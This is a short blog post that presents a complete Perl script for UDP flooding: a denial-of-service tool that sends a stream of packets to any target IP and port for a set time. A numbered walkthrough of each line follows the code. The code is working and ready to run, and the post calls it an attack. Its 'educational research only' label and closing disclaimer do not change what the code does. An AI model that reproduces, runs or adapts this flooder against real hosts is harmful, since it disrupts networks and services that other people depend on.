Perl DDoS Script

Sleep
2 min readFeb 12, 2023

--

#!/usr/bin/perl
# Made By ClumsyLulz For Educational Research Only!
# Sleep[at]aol.com

use Socket;
use strict;

print "\n";
if ($#ARGV != 3) {
print "\n\t\t\t***Error command must receive four arguments***\n";
print "-Ex) perl Stress.pl 1.1.1.1 80 1000 300\n";
print "-Stressing '1.1.1.1' for '300' seconds on port '80' using '1000' packets\n\n";
exit(1);
}

my ($ip,$port,$size,$time) = @ARGV;
my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Cannot connect to $ip\n";
$endtime = time() + ($time ? $time : 1000000);

socket(flood, PF_INET, SOCK_DGRAM, 17);

print "~To cancel the attack press \'Ctrl-C\'\n\n";
print "|IP|\t\t |Port|\t\t |Size|\t\t |Time|\n";
print "|$ip|\t |$port|\t\t |$size|\t\t |$time|\n";
print "To cancel the attack press 'Ctrl-C'\n" unless $time;

for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1500-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;
send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
}
  1. The first two lines include the Socket and strict modules, which are used for networking and enforcing good programming practices, respectively.
  2. The script then checks if the number of command line arguments (ARGV) passed to the script is equal to 4. If not, an error message is displayed, indicating that four arguments are expected, and the script exits with a status of 1.
  3. The four arguments passed to the script are stored in the variables $ip, $port, $size, and $time.
  4. The inet_aton function is used to convert the $ip argument from a string representation of an IP address into a packed binary format that can be used in networking functions. If this conversion fails, the script will display an error message and exit.
  5. The $endtime variable is calculated as the current time plus the $time argument passed to the script, or 1000000 seconds if $time is not passed.
  6. The socket function is used to create a socket flood of type PF_INET, using the SOCK_DGRAM protocol and the IP protocol number 17.
  7. The script then displays some information about the DoS attack, including the IP and port being attacked, the size of the packets being sent, and the duration of the attack.
  8. The for loop is used to continuously send packets to the target until the current time is greater than the $endtime.
  9. Within the loop, the $psize and $pport variables are calculated. If $size is passed as an argument, $psize is set to that value. If $size is not passed, $psize is set to a random number between 64 and 1500. Similarly, if $port is passed as an argument, $pport is set to that value. If $port is not passed, $pport is set to a random number between 1 and 65500.
  10. Finally, the send function is used to send a packet of size $psize to the target IP and port $pport. The data being sent is simply the string "flood", packed into binary format using the pack function.

That’s it! This script is a simple example of how to implement a DoS attack, but again, I strongly advise against using it for malicious purposes.

--

--

No responses yet